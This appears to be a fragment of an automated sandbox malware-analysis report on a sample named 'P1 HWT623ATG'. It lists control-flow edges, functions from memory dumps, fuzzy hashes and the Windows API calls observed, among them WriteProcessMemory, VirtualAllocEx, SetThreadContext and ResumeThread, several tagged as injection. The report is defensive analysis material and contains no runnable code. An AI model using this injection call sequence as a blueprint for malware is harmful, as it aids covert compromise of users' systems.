64a76a8-64a76ae 1174->1186 1175->1171 1180 64a7761-64a7768 1175->1180 1176->1177 1185 64a7685-64a768f 1176->1185 1203 64a78cd 1177->1203 1204 64a7883 1177->1204 1178->1177 1188 64a7701-64a770d 1178->1188 1179->1157 1180->1177 1192 64a776e-64a7775 1180->1192 1182 64a779f-64a77a6 1182->1177 1187 64a77ac-64a77b3 1182->1187 1190 64a764f-64a7656 1183->1190 1191 64a7667-64a766c 1183->1191 1184->1177 1193 64a7835-64a7841 1184->1193 1185->1157 1186->1177 1194 64a76b4-64a76c0 1186->1194 1187->1157 1188->1177 1197 64a7713-64a772a 1188->1197 1190->1177 1199 64a765c-64a7660 1190->1199 1200 64a7665 1191->1200 1192->1157 1193->1177 1201 64a7843-64a7853 1193->1201 1194->1177 1195 64a76c6-64a7867 1194->1195 1195->1160 1197->1177 1205 64a7730-64a7734 1197->1205 1198->1157 1199->1200 1200->1157 1206 64a7919-64a791b 1203->1206 1207 64a78cf 1203->1207 1204->1203 1205->1157 1208 64a791c-64a791f 1206->1208 1207->1206 1209 64a7928-64a7930 1208->1209 1210 64a7921 1208->1210 1209->1208 1210->1209 1211 64a7b2b-64a7b3e 1210->1211 1212 64a79af-64a79b3 1210->1212 1213 64a794c-64a7951 1210->1213 1214 64a7aec-64a7af3 1210->1214 1215 64a7aac-64a7ab3 1210->1215 1216 64a7a6d-64a7a75 1210->1216 1217 64a7a02-64a7a1b 1210->1217 1218 64a7a46-64a7a4b 1210->1218 1219 64a7b04-64a7b0c 1210->1219 1220 64a79e4-64a79eb 1210->1220 1221 64a7ac5-64a7ac9 1210->1221 1222 64a79a5-64a79aa 1210->1222 1223 64a7a7a-64a7a8e 1210->1223 1224 64a799b-64a79a0 1210->1224 1225 64a7979-64a798c 1210->1225 1226 64a7932-64a7935 1210->1226 1227 64a7953-64a795a 1210->1227 1228 64a7a93-64a7a9a 1210->1228 1229 64a7a50-64a7a68 1210->1229 1230 64a7a30-64a7a40 1210->1230 1231 64a7b11-64a7b26 1210->1231 1243 64a7b45-64a7b5d 1211->1243 1241 64a79ce-64a79d5 1212->1241 1242 64a79b5-64a79bc 1212->1242 1213->1208 1232 64a7b40 1214->1232 1240 64a7af5-64a7aff 1214->1240 1215->1232 1236 64a7ab9-64a7ac0 1215->1236 1216->1208 1217->1232 1256 64a7a21-64a7a2b 1217->1256 1234 64a7938-64a793c 1218->1234 1219->1208 1220->1232 1233 64a79f1-64a79fd 1220->1233 1237 64a7acb 1221->1237 1238 64a7ad5-64a7adc 1221->1238 1222->1208 1223->1208 1224->1208 1225->1232 1239 64a7992-64a7999 1225->1239 1226->1234 1249 64a7963-64a796a 1227->1249 1228->1232 1235 64a7aa0-64a7aa7 1228->1235 1229->1208 1230->1218 1230->1234 1231->1208 1232->1243 1233->1208 1247 64a793e 1234->1247 1248 64a7945-64a794a 1234->1248 1235->1208 1236->1208 1250 64a7ad0 1237->1250 1238->1232 1251 64a7ade-64a7aea 1238->1251 1239->1208 1240->1208 1241->1232 1254 64a79db-64a79e2 1241->1254 1242->1232 1252 64a79c2 1242->1252 1260 64a7b5e 1243->1260 1257 64a7943 1247->1257 1248->1257 1249->1232 1258 64a7970-64a7977 1249->1258 1250->1208 1251->1250 1259 64a79c9 1252->1259 1254->1259 1256->1208 1257->1208 1258->1208 1259->1208 1260->1260 1261->1182 1262->1182 1263->1182
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1293685238.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_64a0000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: V
                                  • API String ID: 0-1342839628
                                  • Opcode ID: 0a480a3c1c67456c48d7a5adf9c25228f7f2b3745d31f269118dbfc4e10ea867
                                  • Instruction ID: 112f8054a8eaf3a93df968e1005d6b56f425fe7cc93c8e6e84ee75a9dd86b55b
                                  • Opcode Fuzzy Hash: 0a480a3c1c67456c48d7a5adf9c25228f7f2b3745d31f269118dbfc4e10ea867
                                  • Instruction Fuzzy Hash: B3D1D738A05304EFEBA4CF59C584BBABBB6FF65311F048597D0529B292C334D952CBA1
                                  Function 07936470 Relevance: 1.6, APIs: 1, Instructions: 71injectionCOMMON
                                  Download Yara Rule
                                  APIs
                                  • WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 07936508
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1294184947.0000000007930000.00000040.00000800.00020000.00000000.sdmp, Offset: 07930000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_7930000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: MemoryProcessWrite
                                  • String ID:
                                  • API String ID: 3559483778-0
                                  • Opcode ID: ea3861ee9ddb5116b56b94798970489583ac4e4c8238fe70e9aa802bbd3cf671
                                  • Instruction ID: 5dd478a42ed73589eb83993d913f9d83a2e1918b3dab394791a83e9e7423851a
                                  • Opcode Fuzzy Hash: ea3861ee9ddb5116b56b94798970489583ac4e4c8238fe70e9aa802bbd3cf671
                                  • Instruction Fuzzy Hash: 642148B5D003599FDB10CFA9C880BDEBBF5FF48310F10842AE918A7241C7789541CBA4
                                  Function 07936478 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON
                                  Download Yara Rule
                                  APIs
                                  • WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 07936508
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1294184947.0000000007930000.00000040.00000800.00020000.00000000.sdmp, Offset: 07930000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_7930000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: MemoryProcessWrite
                                  • String ID:
                                  • API String ID: 3559483778-0
                                  • Opcode ID: 3be756a9e419421cc16ebdc138a4518a29793a66fcabc69a7d463224eaa121b4
                                  • Instruction ID: 5f66c32b72ed1696a5a1e1f658484bc91f89e917db372468fe367151b6e5ad1a
                                  • Opcode Fuzzy Hash: 3be756a9e419421cc16ebdc138a4518a29793a66fcabc69a7d463224eaa121b4
                                  • Instruction Fuzzy Hash: 972126B5D003599FDB14CFAAC984BDEBBF5FF48314F10882AE918A7241C7789954CBA4
                                  Function 02FABCF4 Relevance: 1.6, APIs: 1, Instructions: 65COMMON
                                  Download Yara Rule
                                  APIs
                                  • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,02FAC26E,?,?,?,?,?), ref: 02FAC32F
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1286136587.0000000002FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FA0000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_2fa0000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: DuplicateHandle
                                  • String ID:
                                  • API String ID: 3793708945-0
                                  • Opcode ID: d01d1a7c6a0d6e07c4919cfb18a687ad067e82c8102383b1242dc9039b811a22
                                  • Instruction ID: e36fe841820c060cefc2287f64d683afb7509265542aec122eb4488bd1a7f076
                                  • Opcode Fuzzy Hash: d01d1a7c6a0d6e07c4919cfb18a687ad067e82c8102383b1242dc9039b811a22
                                  • Instruction Fuzzy Hash: C921E3B5D00348EFDB10CF9AD584ADEBBF4EB48310F14841AE918A7350D378A940CFA5
                                  Function 07936561 Relevance: 1.6, APIs: 1, Instructions: 65COMMON
                                  Download Yara Rule
                                  APIs
                                  • ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 079365E8
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1294184947.0000000007930000.00000040.00000800.00020000.00000000.sdmp, Offset: 07930000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_7930000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: MemoryProcessRead
                                  • String ID:
                                  • API String ID: 1726664587-0
                                  • Opcode ID: 10ccd655cf43f7f3ca3d633b4b44f9114e402000e24b59f2d2529338045c1962
                                  • Instruction ID: fb527ef256c4c2d8c742e45bdff3a8d80d2ee6c4f93460f2c98fdc9a930d75b2
                                  • Opcode Fuzzy Hash: 10ccd655cf43f7f3ca3d633b4b44f9114e402000e24b59f2d2529338045c1962
                                  • Instruction Fuzzy Hash: 5B2136B2C003499FDB10CFAAC880BEEBBF5FF48310F50842AE958A7240C7789501DBA4
                                  Function 079362D8 Relevance: 1.6, APIs: 1, Instructions: 65threadCOMMON
                                  Download Yara Rule
                                  APIs
                                  • Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0793635E
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1294184947.0000000007930000.00000040.00000800.00020000.00000000.sdmp, Offset: 07930000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_7930000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: ContextThreadWow64
                                  • String ID:
                                  • API String ID: 983334009-0
                                  • Opcode ID: 575b5c1541f350259693d54bfc16553513640d36788388d4288181bbcf2b3cf0
                                  • Instruction ID: 8fd1bb69874cefb514f29f1757653fb831f2b9e9cef39a2716da4f3fcb4efed9
                                  • Opcode Fuzzy Hash: 575b5c1541f350259693d54bfc16553513640d36788388d4288181bbcf2b3cf0
                                  • Instruction Fuzzy Hash: 212157B1D043099FDB14CFAAC4817EEBBF4FB48224F14842ED559A7240CB789945CBA5
                                  Function 07936568 Relevance: 1.6, APIs: 1, Instructions: 63COMMON
                                  Download Yara Rule
                                  APIs
                                  • ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 079365E8
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1294184947.0000000007930000.00000040.00000800.00020000.00000000.sdmp, Offset: 07930000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_7930000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: MemoryProcessRead
                                  • String ID:
                                  • API String ID: 1726664587-0
                                  • Opcode ID: 178021f820ff94cf63831c5696c7eec0eb6e3f9bd78c1d6d2e3743140a6b98ca
                                  • Instruction ID: 5f228f0212d7c48b396fed7d57a5a51dc372a8fd94f5ba553aa52cb16764fe6d
                                  • Opcode Fuzzy Hash: 178021f820ff94cf63831c5696c7eec0eb6e3f9bd78c1d6d2e3743140a6b98ca
                                  • Instruction Fuzzy Hash: C32116B1C003599FDB14CFAAC840BEEBBF5FF48310F10842AE518A7240C7799501DBA5
                                  Function 079362E0 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON
                                  Download Yara Rule
                                  APIs
                                  • Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0793635E
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1294184947.0000000007930000.00000040.00000800.00020000.00000000.sdmp, Offset: 07930000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_7930000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: ContextThreadWow64
                                  • String ID:
                                  • API String ID: 983334009-0
                                  • Opcode ID: 1998bdc392a6ba1e0c895de493edd5c2ce96bc5695fb3c895b37eb38c4b9dac6
                                  • Instruction ID: f3501b0b4da4074361a9c0ca479f6635f4b0f38a7e75825438fb398bcbe460e8
                                  • Opcode Fuzzy Hash: 1998bdc392a6ba1e0c895de493edd5c2ce96bc5695fb3c895b37eb38c4b9dac6
                                  • Instruction Fuzzy Hash: C82135B1D003099FDB14CFAAC485BEEBBF4EF48214F14842ED559A7240CB78A945CFA5
                                  Function 02FAA3A0 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON
                                  Download Yara Rule
                                  APIs
                                  • LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,02FAB551,00000800,00000000,00000000), ref: 02FAB762
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1286136587.0000000002FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FA0000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_2fa0000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: LibraryLoad
                                  • String ID:
                                  • API String ID: 1029625771-0
                                  • Opcode ID: f151027dd2cf50755f4f91294d1255a4c39461353397d27f881cfce4469c8854
                                  • Instruction ID: 57726c4af1f2cfcd27d4a3ba332924292dfa664f1714ec2590e31154e28d6ddb
                                  • Opcode Fuzzy Hash: f151027dd2cf50755f4f91294d1255a4c39461353397d27f881cfce4469c8854
                                  • Instruction Fuzzy Hash: 111114B6D04349DFDB20CF9AC444ADEFBF4EB58314F10842AE919A7240C3B5A545CFA5
                                  Function 079363B2 Relevance: 1.6, APIs: 1, Instructions: 54memoryCOMMON
                                  Download Yara Rule
                                  APIs
                                  • VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 07936426
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1294184947.0000000007930000.00000040.00000800.00020000.00000000.sdmp, Offset: 07930000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_7930000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: AllocVirtual
                                  • String ID:
                                  • API String ID: 4275171209-0
                                  • Opcode ID: e739d65e5fd6676cb0dc61e771c0f163b30f3773d1d9adc9267a5b2815714aa6
                                  • Instruction ID: 05640756ddb59474d3747b1abd52d192345633ea90b63a557298074e0ff0e40c
                                  • Opcode Fuzzy Hash: e739d65e5fd6676cb0dc61e771c0f163b30f3773d1d9adc9267a5b2815714aa6
                                  • Instruction Fuzzy Hash: 381156B6C003489FDB24DFAAC844BEEBFF5EB48320F248819E515A7250CB799540CBA0
                                  Function 079363B8 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON
                                  Download Yara Rule
                                  APIs
                                  • VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 07936426
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1294184947.0000000007930000.00000040.00000800.00020000.00000000.sdmp, Offset: 07930000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_7930000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: AllocVirtual
                                  • String ID:
                                  • API String ID: 4275171209-0
                                  • Opcode ID: 8021c9cc90c0686c0b28d904cbf672dae58c9436401ed27e64c9708fb3830873
                                  • Instruction ID: 3b7fb7c8774ea53e618f5ca4bc3ff2cb7f2aa83b3b6abf86f33eb7762571375e
                                  • Opcode Fuzzy Hash: 8021c9cc90c0686c0b28d904cbf672dae58c9436401ed27e64c9708fb3830873
                                  • Instruction Fuzzy Hash: AD112676D003499FDB24DFAAC844BDEBBF5EB48310F248819E515A7250CB759540CBA5
                                  Function 02FA8EF4 Relevance: 1.6, APIs: 1, Instructions: 50COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetModuleHandleW.KERNELBASE(00000000,?,?,?,?,?,?,?,02FAB29C), ref: 02FAB4D6
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1286136587.0000000002FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FA0000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_2fa0000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: HandleModule
                                  • String ID:
                                  • API String ID: 4139908857-0
                                  • Opcode ID: 0a89d4d30fe30732f43bc2b6eb4a041071a444d13b8b5db4c40026c2b558d080
                                  • Instruction ID: 01e1aa0358dfcd82479728104dced0446395100df440a64fcb0e67cf1ddaac33
                                  • Opcode Fuzzy Hash: 0a89d4d30fe30732f43bc2b6eb4a041071a444d13b8b5db4c40026c2b558d080
                                  • Instruction Fuzzy Hash: B7113FB6C00248CFDB20CF9AC544BDEFBF4EB98228F10842AD919A7300C379A545CFA1
                                  Function 07935DF2 Relevance: 1.6, APIs: 1, Instructions: 50threadCOMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1294184947.0000000007930000.00000040.00000800.00020000.00000000.sdmp, Offset: 07930000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_7930000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: ResumeThread
                                  • String ID:
                                  • API String ID: 947044025-0
                                  • Opcode ID: 05fcdc4a85bb99b9ad7e6e7196f03733715017b47d9c69b7f95dd3838631bc41
                                  • Instruction ID: 32c0dea967e150a82f63ed3c7441a22371b351aebc3b961acde64a656013aa7c
                                  • Opcode Fuzzy Hash: 05fcdc4a85bb99b9ad7e6e7196f03733715017b47d9c69b7f95dd3838631bc41
                                  • Instruction Fuzzy Hash: A71158B5C043488FDB24DFAAC4447EEFBF5EB88224F248819D519A7240CA79A944CBA4
                                  Function 07935DF8 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1294184947.0000000007930000.00000040.00000800.00020000.00000000.sdmp, Offset: 07930000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_7930000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: ResumeThread
                                  • String ID:
                                  • API String ID: 947044025-0
                                  • Opcode ID: 96aa297709c8032332e7ad539934cd8f51382b6f8f3f9cbe0877d2ab65a3512c
                                  • Instruction ID: a24b3b3ec117338814c0370a0d61078f9acb1736f985845e12111c35eab5ff5b
                                  • Opcode Fuzzy Hash: 96aa297709c8032332e7ad539934cd8f51382b6f8f3f9cbe0877d2ab65a3512c
                                  • Instruction Fuzzy Hash: 0F1128B5D003488FDB24DFAAC4447DEFBF5EB88214F248819D519A7240CA79A944CB95
                                  Function 079392A0 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • PostMessageW.USER32(?,00000010,00000000,?), ref: 0793B0B5
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1294184947.0000000007930000.00000040.00000800.00020000.00000000.sdmp, Offset: 07930000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_7930000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: MessagePost
                                  • String ID:
                                  • API String ID: 410705778-0
                                  • Opcode ID: feb3b6d71cbd63c20f89e906be8fd4d15d358e2e492ffab5d7b3d2a580c254ad
                                  • Instruction ID: 5660cbfcc249b7060d1053605f3afa7973a89af8a27bba1bd0418549f628e009
                                  • Opcode Fuzzy Hash: feb3b6d71cbd63c20f89e906be8fd4d15d358e2e492ffab5d7b3d2a580c254ad
                                  • Instruction Fuzzy Hash: 781106B5804749DFDB20CF9AC484BDEBBF8EB48314F108819E914A7740C375A944CFA5
                                  Function 0793B050 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • PostMessageW.USER32(?,00000010,00000000,?), ref: 0793B0B5
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1294184947.0000000007930000.00000040.00000800.00020000.00000000.sdmp, Offset: 07930000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_7930000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: MessagePost
                                  • String ID:
                                  • API String ID: 410705778-0
                                  • Opcode ID: ff5ca74cb5a913b33d063413f6440e4268d9858e1be52c2abdcda523506a14a1
                                  • Instruction ID: 8830ec92c821c758605e6f3d030da2837f8bc7eab5388a2f993dfd7ac2a1676c
                                  • Opcode Fuzzy Hash: ff5ca74cb5a913b33d063413f6440e4268d9858e1be52c2abdcda523506a14a1
                                  • Instruction Fuzzy Hash: 2911F5B5800349DFDB20CF9AC445BDEBBF8EB48324F108419E554A7240C375A544CFA1
                                  Function 064A6704 Relevance: 1.4, Strings: 1, Instructions: 159COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1293685238.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_64a0000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: Teq
                                  • API String ID: 0-1098410595
                                  • Opcode ID: a3bdb3682c6eb385cbccbc8c349eb9291c1bcdc54938e2ec24abe397bbae3491
                                  • Instruction ID: 6f8f876e04c47df222498c6eea381136c188d127b9948c54535eb447277d80ca
                                  • Opcode Fuzzy Hash: a3bdb3682c6eb385cbccbc8c349eb9291c1bcdc54938e2ec24abe397bbae3491
                                  • Instruction Fuzzy Hash: 8351BD31B107059FDB11DB79D8489AFBBF7EFC5220728896AE419CB351EB309D0587A0
                                  Function 064A7917 Relevance: 1.4, Strings: 1, Instructions: 128COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1293685238.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_64a0000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: V
                                  • API String ID: 0-1342839628
                                  • Opcode ID: c33003ee1adb3ef6cdc3e50fabd565deef6e31d7e0268f4449f270452f7371ce
                                  • Instruction ID: 4b909ff0718bce86139210d2029968484a6a1adf8aeb9aaeeccca61cafb7686b
                                  • Opcode Fuzzy Hash: c33003ee1adb3ef6cdc3e50fabd565deef6e31d7e0268f4449f270452f7371ce
                                  • Instruction Fuzzy Hash: 0D51C339D05304EFFBB18F55CA447FEBAF6AB25301F088567E552AA281C734CA91CB61
                                  Function 064AF9A8 Relevance: 1.3, Strings: 1, Instructions: 70COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1293685238.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_64a0000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: Teq
                                  • API String ID: 0-1098410595
                                  • Opcode ID: 53f3469d4f12c113f44eb221c7df902a675c50c3b3405ad4a1c501403d84dde8
                                  • Instruction ID: 7692b4e94f94a7db12e692513500b43b04bcf35043a7f8284ce48a62f5f54598
                                  • Opcode Fuzzy Hash: 53f3469d4f12c113f44eb221c7df902a675c50c3b3405ad4a1c501403d84dde8
                                  • Instruction Fuzzy Hash: 86211B70E042089BEB58CFEAC9547DEBBB6BF98300F14802AD505BB354DB74180A8F90
                                  Function 064A9B28 Relevance: 1.3, Strings: 1, Instructions: 58COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1293685238.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_64a0000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: Teq
                                  • API String ID: 0-1098410595
                                  • Opcode ID: 94505221015bf38db8cc251a6232cf7d981d2310065c4d8c2d6bd7fd618c9672
                                  • Instruction ID: 95b0f0a1075aadab163463694f46d4dff4de50f9d47aa86982b9a32fe7d7631e
                                  • Opcode Fuzzy Hash: 94505221015bf38db8cc251a6232cf7d981d2310065c4d8c2d6bd7fd618c9672
                                  • Instruction Fuzzy Hash: 4C114F31F103199BCB54EBA998106EFB7B6AB88310B24417AC505E7344EB35CD02CB91
                                  Function 064A3293 Relevance: 1.3, Strings: 1, Instructions: 36COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1293685238.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_64a0000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: 0,Iq
                                  • API String ID: 0-3867225567
                                  • Opcode ID: 7b3e5fdcba1e3df03fc3de40fd820d8a9de240394d6997d5ee17937096f6e538
                                  • Instruction ID: 6c510d49c046899b765607ea336280993d2c04462be12700570909b8e7c36304
                                  • Opcode Fuzzy Hash: 7b3e5fdcba1e3df03fc3de40fd820d8a9de240394d6997d5ee17937096f6e538
                                  • Instruction Fuzzy Hash: 2FF059352103006BC759E636EC45ADFBF5BEFC4220F448029E5098F311CE70AD0382A1
                                  Function 064A32A0 Relevance: 1.3, Strings: 1, Instructions: 30COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1293685238.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_64a0000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: 0,Iq
                                  • API String ID: 0-3867225567
                                  • Opcode ID: 335d52b58984a06637b39ab779f7fc58bfa78a4d3d03dd0509f3b83f51441d32
                                  • Instruction ID: 2efd1ccecb6a86b55d221893e528dcc5329988a584161e0c4e87d8d766ef027e
                                  • Opcode Fuzzy Hash: 335d52b58984a06637b39ab779f7fc58bfa78a4d3d03dd0509f3b83f51441d32
                                  • Instruction Fuzzy Hash: 88F0EC353007045BCB58E636EC448DFBB5BEFC43207408529E5094F310CE705D4686A5
                                  Function 064A12E0 Relevance: .5, Instructions: 455COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1293685238.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_64a0000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: fba0c74211dcaa91134ba1c274b5ca51cd87bb25e59a645d9578bfa626fc8b20
                                  • Instruction ID: 4c161a0e33b9e4f55d219dd0840a8e8e503fc33c28afb55f87825ccc18869ce6
                                  • Opcode Fuzzy Hash: fba0c74211dcaa91134ba1c274b5ca51cd87bb25e59a645d9578bfa626fc8b20
                                  • Instruction Fuzzy Hash: 1B125DB0D09B425BD7B55FA48AC83DFB690AB17381F20491BC0FACB395E734A086DB45
                                  Function 064A12DB Relevance: .5, Instructions: 452COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1293685238.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_64a0000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 3faff81f2c8d1408d81e9279a5471efaa15a84aba97962daf1afcb5dddbd09a1
                                  • Instruction ID: 778b9cc6467e49ff9e6c05ae6d8696e010ba1bfa06b53e3bd279b4dc27b1d473
                                  • Opcode Fuzzy Hash: 3faff81f2c8d1408d81e9279a5471efaa15a84aba97962daf1afcb5dddbd09a1
                                  • Instruction Fuzzy Hash: 14125DB0D09B425BD7B55FA58AC83DFB690AB17391F20491BC0FACB395E734A086CB45
                                  Function 064A7603 Relevance: .2, Instructions: 171COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1293685238.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_64a0000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 7a98c92b6607ba6a5f012f3b99afb47597c8b73fb7aaecb337c819d20a4de172
                                  • Instruction ID: bf69e2d5d763523a63932975894f70562a72df767863a09abb2a9ae7a3fdcd68
                                  • Opcode Fuzzy Hash: 7a98c92b6607ba6a5f012f3b99afb47597c8b73fb7aaecb337c819d20a4de172
                                  • Instruction Fuzzy Hash: 94618F78A01305DFDB64CF59C584EAAF7B2FB64311F45869BD0529B3A2C334E842CBA5
                                  Function 064A0900 Relevance: .2, Instructions: 168COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1293685238.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_64a0000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 9b4c4ef19da5cb79d406d5652b91855a441b62261060b21edfc7dcb4bea6d0cf
                                  • Instruction ID: b0b0ea75293355cc805328bf3cc5e72dab6a22e67d4768a9a809266fe41a7e91
                                  • Opcode Fuzzy Hash: 9b4c4ef19da5cb79d406d5652b91855a441b62261060b21edfc7dcb4bea6d0cf
                                  • Instruction Fuzzy Hash: 37719A74A11208EFCB55DFA8D894DAEBBB6BF58724F114099F901AB361CB31EC81CB50
                                  Function 064ABF3F Relevance: .2, Instructions: 166COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1293685238.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_64a0000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
